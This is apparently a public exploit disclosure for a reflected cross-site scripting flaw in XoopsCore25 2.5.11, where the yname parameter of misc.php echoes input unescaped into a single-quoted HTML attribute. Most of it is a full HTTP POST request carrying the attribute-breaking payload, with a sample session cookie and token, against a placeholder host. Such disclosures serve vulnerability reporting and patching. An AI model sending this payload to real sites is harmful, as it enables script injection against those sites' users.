<pre><code>## Title: XoopsCore25-2.5.11-XSS-Reflected<br />## Author: nu11secur1ty<br />## Date: 02/12/2024<br />## Vendor: https://xoops.org/<br />## Software: https://github.com/XOOPS/XoopsCore25/releases/tag/v2.5.11<br />## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected<br /><br />## Description:<br />The value of the yname request parameter is copied into the value of<br />an HTML tag attribute which is encapsulated in single quotation marks.<br />The payload '>333< was submitted in the yname parameter. This input<br />was echoed unmodified in the application's response. The attacker can<br />trick the user to visit very dangerous and malicious URL in this<br />session<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Exploit execution:<br />```POST<br />POST /XoopsCore25-2.5.11/htdocs/misc.php HTTP/1.1<br />Host: pwnedhost.com<br />Accept-Encoding: gzip, deflate, br<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Accept-Language: en-US;q=0.9,en;q=0.8<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160<br />Safari/537.36<br />Connection: close<br />Cache-Control: max-age=0<br />Cookie: xoops_session_65ca21e5=1mc2a5bq1c0m2kh9j1qn5ilqmn<br />Origin: https://pwnedhost.com<br />Upgrade-Insecure-Requests: 1<br />Referer: https://pwnedhost.com/XoopsCore25-2.5.11/htdocs/misc.php?action=showpopups&type=friend&op=sendform&t=1707748563<br />Content-Type: application/x-www-form-urlencoded<br />Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"<br />Sec-CH-UA-Platform: Windows<br />Sec-CH-UA-Mobile: ?0<br />Content-Length: 148<br /><br />yname=VHBoIy'%3e%3ccXWog%3c&ymail=VHBoIy&fname=VHBoIyxV&fmail=VHBoIy&submit=Send&XOOPS_TOKEN_REQUEST=8a6867d76a2aace97646eefb42934056&action=showpopups&type=friend<br />```<br /><br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/xoops.org/XoopsCore25-2.5.11)<br /><br />## Proof and Exploit:<br />[href](https://www.nu11secur1ty.com/2024/02/xoopscore25-2511-xss-reflected.html)<br /><br />## Time spent:<br />01:17:00<br /><br /><br /></code></pre>